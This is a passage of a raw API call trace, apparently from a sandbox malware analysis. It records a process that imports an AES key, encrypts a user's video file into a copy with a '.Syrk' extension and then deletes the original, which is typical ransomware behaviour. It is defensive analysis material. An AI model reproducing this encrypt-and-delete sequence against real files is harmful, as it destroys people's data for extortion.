(param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0256.226] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0256.226] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0256.226] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0256.226] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0256.226] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0256.226] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0256.226] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0256.226] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0256.226] EtwEventActivityIdControl () returned 0x0 [0256.226] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0256.226] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0256.227] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0256.227] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0256.228] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4d188) returned 1 [0256.230] CryptImportKey (in: hProv=0x5c4d188, pbData=0x2462d6c*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c999e0) returned 1 [0256.230] CryptContextAddRef (hProv=0x5c4d188, pdwReserved=0x0, dwFlags=0x0) returned 1 [0256.230] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.231] EtwEventActivityIdControl () returned 0x0 [0256.231] EtwEventActivityIdControl () returned 0x0 [0256.231] EtwEventActivityIdControl () returned 0x0 [0256.236] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\gJgFz-.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\gjgfz-.mp4")) returned 0x20 [0256.238] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\gJgFz-.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\gjgfz-.mp4")) returned 0x20 [0256.238] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\gJgFz-.mp4", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0256.238] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\gJgFz-.mp4", nBufferLength=0x25, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\gJgFz-.mp4", lpFilePart=0x0) returned 0x24 [0256.238] EtwEventActivityIdControl () returned 0x0 [0256.238] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.239] EtwEventActivityIdControl () returned 0x0 [0256.239] EtwEventActivityIdControl () returned 0x0 [0256.239] EtwEventActivityIdControl () returned 0x0 [0256.240] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\gJgFz-.mp4", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0256.240] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\gJgFz-.mp4", nBufferLength=0x25, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\gJgFz-.mp4", lpFilePart=0x0) returned 0x24 [0256.240] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0256.240] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\gJgFz-.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\gjgfz-.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x364 [0256.240] GetFileType (hFile=0x364) returned 0x1 [0256.240] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0256.240] GetFileType (hFile=0x364) returned 0x1 [0256.240] EtwEventActivityIdControl () returned 0x0 [0256.241] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.241] EtwEventActivityIdControl () returned 0x0 [0256.241] EtwEventActivityIdControl () returned 0x0 [0256.241] EtwEventActivityIdControl () returned 0x0 [0256.242] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\gJgFz-.mp4.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2a [0256.242] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\gJgFz-.mp4.Syrk", nBufferLength=0x2a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\gJgFz-.mp4.Syrk", lpFilePart=0x0) returned 0x29 [0256.242] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0256.242] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\gJgFz-.mp4.Syrk" (normalized: "c:\\users\\keecfmwgj\\videos\\gjgfz-.mp4.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x368 [0256.243] GetFileType (hFile=0x368) returned 0x1 [0256.243] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0256.243] GetFileType (hFile=0x368) returned 0x1 [0256.243] EtwEventActivityIdControl () returned 0x0 [0256.243] CryptGenRandom (in: hProv=0x5c4d188, dwLen=0x10, pbBuffer=0x2472734 | out: pbBuffer=0x2472734) returned 1 [0256.245] CryptContextAddRef (hProv=0x5c4d188, pdwReserved=0x0, dwFlags=0x0) returned 1 [0256.245] CryptDuplicateKey (in: hKey=0x5c999e0, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c99b20) returned 1 [0256.245] CryptContextAddRef (hProv=0x5c4d188, pdwReserved=0x0, dwFlags=0x0) returned 1 [0256.245] CryptSetKeyParam (hKey=0x5c99b20, dwParam=0x4, pbData=0x2473a6c*=0x1, dwFlags=0x0) returned 1 [0256.245] CryptSetKeyParam (hKey=0x5c99b20, dwParam=0x1, pbData=0x2473a38, dwFlags=0x0) returned 1 [0256.246] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.246] EtwEventActivityIdControl () returned 0x0 [0256.246] EtwEventActivityIdControl () returned 0x0 [0256.246] EtwEventActivityIdControl () returned 0x0 [0256.247] EtwEventActivityIdControl () returned 0x0 [0256.248] ReadFile (in: hFile=0x364, lpBuffer=0x24766a8, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x24766a8*, lpNumberOfBytesRead=0x5a2e7d8*=0x10955, lpOverlapped=0x0) returned 1 [0256.250] CryptEncrypt (in: hKey=0x5c99b20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x248a6c0*, pdwDataLen=0x5a2e7cc*=0x10950, dwBufLen=0x10950 | out: pbData=0x248a6c0*, pdwDataLen=0x5a2e7cc*=0x10950) returned 1 [0256.250] WriteFile (in: hFile=0x368, lpBuffer=0x247281c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x247281c*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0256.252] WriteFile (in: hFile=0x368, lpBuffer=0x248b6ac*, nNumberOfBytesToWrite=0xf964, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x248b6ac*, lpNumberOfBytesWritten=0x5a2e7b0*=0xf964, lpOverlapped=0x0) returned 1 [0256.253] ReadFile (in: hFile=0x364, lpBuffer=0x24766a8, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x24766a8*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0256.254] CryptEncrypt (in: hKey=0x5c99b20, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x249b01c*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x249b01c*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0256.254] CryptEncrypt (in: hKey=0x5c99b20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x249b038*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x249b038*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0256.254] WriteFile (in: hFile=0x368, lpBuffer=0x247281c*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x247281c*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0256.254] CloseHandle (hObject=0x368) returned 1 [0256.256] CloseHandle (hObject=0x364) returned 1 [0256.256] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.257] EtwEventActivityIdControl () returned 0x0 [0256.257] EtwEventActivityIdControl () returned 0x0 [0256.257] EtwEventActivityIdControl () returned 0x0 [0256.263] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\gJgFz-.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\gjgfz-.mp4")) returned 0x20 [0256.266] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\gJgFz-.mp4", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0256.266] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\gJgFz-.mp4", nBufferLength=0x25, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\gJgFz-.mp4", lpFilePart=0x0) returned 0x24 [0256.266] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0256.267] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0256.267] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0256.267] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0256.267] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0256.267] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0256.267] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0256.267] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0256.267] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0256.267] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0256.268] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0256.268] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0256.268] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos" (normalized: "c:\\users\\keecfmwgj\\videos")) returned 0x11 [0256.268] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos" (normalized: "c:\\users\\keecfmwgj\\videos")) returned 0x11 [0256.268] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1a [0256.268] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos", nBufferLength=0x1a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos", lpFilePart=0x0) returned 0x19 [0256.268] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\gJgFz-.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\gjgfz-.mp4")) returned 0x20 [0256.268] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\gJgFz-.mp4", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0256.268] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\gJgFz-.mp4", nBufferLength=0x25, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\gJgFz-.mp4", lpFilePart=0x0) returned 0x24 [0256.271] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\gJgFz-.mp4", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0256.271] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\gJgFz-.mp4", nBufferLength=0x25, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\gJgFz-.mp4", lpFilePart=0x0) returned 0x24 [0256.271] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0256.272] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\gJgFz-.mp4", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0256.272] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\gJgFz-.mp4", nBufferLength=0x25, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\gJgFz-.mp4", lpFilePart=0x0) returned 0x24 [0256.272] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\gJgFz-.mp4\\*" (normalized: "c:\\users\\keecfmwgj\\videos\\gjgfz-.mp4\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0256.272] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0256.272] CoTaskMemAlloc (cb=0x404) returned 0x3b0008 [0256.272] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x3b0008, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0256.272] CoTaskMemFree (pv=0x3b0008) [0256.274] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\gJgFz-.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\gjgfz-.mp4")) returned 0x20 [0256.274] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\gJgFz-.mp4", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0256.274] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\gJgFz-.mp4", nBufferLength=0x25, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\gJgFz-.mp4", lpFilePart=0x0) returned 0x24 [0256.275] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0256.275] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\gJgFz-.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\gjgfz-.mp4"), fInfoLevelId=0x0, lpFileInformation=0x24a5780 | out: lpFileInformation=0x24a5780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x55a891c0, ftCreationTime.dwHighDateTime=0x1d997f6, ftLastAccessTime.dwLowDateTime=0x98373d00, ftLastAccessTime.dwHighDateTime=0x1d99b31, ftLastWriteTime.dwLowDateTime=0x98373d00, ftLastWriteTime.dwHighDateTime=0x1d99b31, nFileSizeHigh=0x0, nFileSizeLow=0x10955)) returned 1 [0256.275] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0256.275] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\gJgFz-.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\gjgfz-.mp4")) returned 1 [0256.277] EtwEventActivityIdControl () returned 0x0 [0256.277] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.278] EtwEventActivityIdControl () returned 0x0 [0256.278] EtwEventActivityIdControl () returned 0x0 [0256.278] EtwEventActivityIdControl () returned 0x0 [0256.287] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\gJgFz-.mp4.Syrk" (normalized: "c:\\users\\keecfmwgj\\videos\\gjgfz-.mp4.syrk")) returned 0x20 [0256.288] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\gJgFz-.mp4.Syrk" (normalized: "c:\\users\\keecfmwgj\\videos\\gjgfz-.mp4.syrk")) returned 0x20 [0256.288] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\gJgFz-.mp4.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2a [0256.288] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\gJgFz-.mp4.Syrk", nBufferLength=0x2a, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\gJgFz-.mp4.Syrk", lpFilePart=0x0) returned 0x29 [0256.288] EtwEventActivityIdControl () returned 0x0 [0256.289] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.289] EtwEventActivityIdControl () returned 0x0 [0256.289] EtwEventActivityIdControl () returned 0x0 [0256.289] EtwEventActivityIdControl () returned 0x0 [0256.294] EtwEventActivityIdControl () returned 0x0 [0256.294] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.294] EtwEventActivityIdControl () returned 0x0 [0256.294] EtwEventActivityIdControl () returned 0x0 [0256.294] EtwEventActivityIdControl () returned 0x0 [0256.299] EtwEventActivityIdControl () returned 0x0 [0256.300] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.300] EtwEventActivityIdControl () returned 0x0 [0256.300] EtwEventActivityIdControl () returned 0x0 [0256.300] EtwEventActivityIdControl () returned 0x0 [0256.304] EtwEventActivityIdControl () returned 0x0 [0256.305] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.305] EtwEventActivityIdControl () returned 0x0 [0256.305] EtwEventActivityIdControl () returned 0x0 [0256.305] EtwEventActivityIdControl () returned 0x0 [0256.309] EtwEventActivityIdControl () returned 0x0 [0256.310] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0256.310] EtwEventActivityIdControl () returned 0x0 [0256.310] EtwEventActivityIdControl () returned 0x0 [0256.310] EtwEventActivityIdControl () returned 0x0 [0256.316] EtwEventActivityIdControl () returned 0x0 [0256.321] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0256.322] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\gJgFz-.mp4.Syrk" (normalized: "c:\\users\\keecfmwgj\\videos\\gjgfz-.mp4.syrk"), fInfoLevelId=0x0, lpFileInformation=0x24ae64c | out: lpFileInformation=0x24ae64c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14521330, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x14521330, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x14547490, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x10974)) returned 1 [0256.322] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0256.323] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e59c | out: lpConsoleScreenBufferInfo=0x5a2e59c) returned 1 [0256.323] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e594 | out: lpMode=0x5a2e594) returned 1 [0256.324] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e588, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e588*=0x2) returned 1 [0256.324] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e540 | out: lpConsoleScreenBufferInfo=0x5a2e540) returned 1 [0256.325] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e594 | out: lpConsoleScreenBufferInfo=0x5a2e594) returned 1 [0256.325] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e58c | out: lpMode=0x5a2e58c) returned 1 [0256.326] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e580, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e580*=0x2) returned 1 [0256.326] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e5a4 | out: lpConsoleScreenBufferInfo=0x5a2e5a4) returned 1 [0256.327] GetConsoleOutputCP () returned 0x1b5 [0256.327] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e314, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e314) returned 0 [0256.327] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e3f4 | out: lpConsoleScreenBufferInfo=0x5a2e3f4) returned 1 [0256.327] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e3ec | out: lpMode=0x5a2e3ec) returned 1 [0256.328] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x24c89f8*, nNumberOfCharsToWrite=0x28, lpNumberOfCharsWritten=0x5a2e3e0, lpReserved=0x0 | out: lpBuffer=0x24c89f8*, lpNumberOfCharsWritten=0x5a2e3e0*=0x28) returned 1 [0256.328] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e3ec | out: lpMode=0x5a2e3ec) returned 1 [0256.328] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e3e0, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e3e0*=0x2) returned 1 [0256.329] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e4fc | out: lpConsoleScreenBufferInfo=0x5a2e4fc) returned 1 [0256.330] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e4f4 | out: lpMode=0x5a2e4f4) returned 1 [0256.330] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e4e8, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e4e8*=0x2) returned 1 [0256.331] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e594 | out: lpConsoleScreenBufferInfo=0x5a2e594) returned 1 [0256.331] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e58c | out: lpMode=0x5a2e58c) returned 1 [0256.332] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e580, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e580*=0x2) returned 1 [0256.332] GetConsoleOutputCP () returned 0x1b5 [0256.332] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3a4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3a4) returned 0 [0256.332] GetConsoleOutputCP () returned 0x1b5 [0256.333] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e42c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e42c) returned 0 [0256.333] GetConsoleOutputCP () returned 0x1b5 [0256.333] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0256.333] GetConsoleOutputCP () returned 0x1b5 [0256.333] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e408, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e408) returned 0 [0256.333] GetConsoleOutputCP () returned 0x1b5 [0256.333] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3a4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3a4) returned 0 [0256.333] GetConsoleOutputCP () returned 0x1b5 [0256.334] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e42c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e42c) returned 0 [0256.334] GetConsoleOutputCP () returned 0x1b5 [0256.334] TranslateCharsetInfo (in: 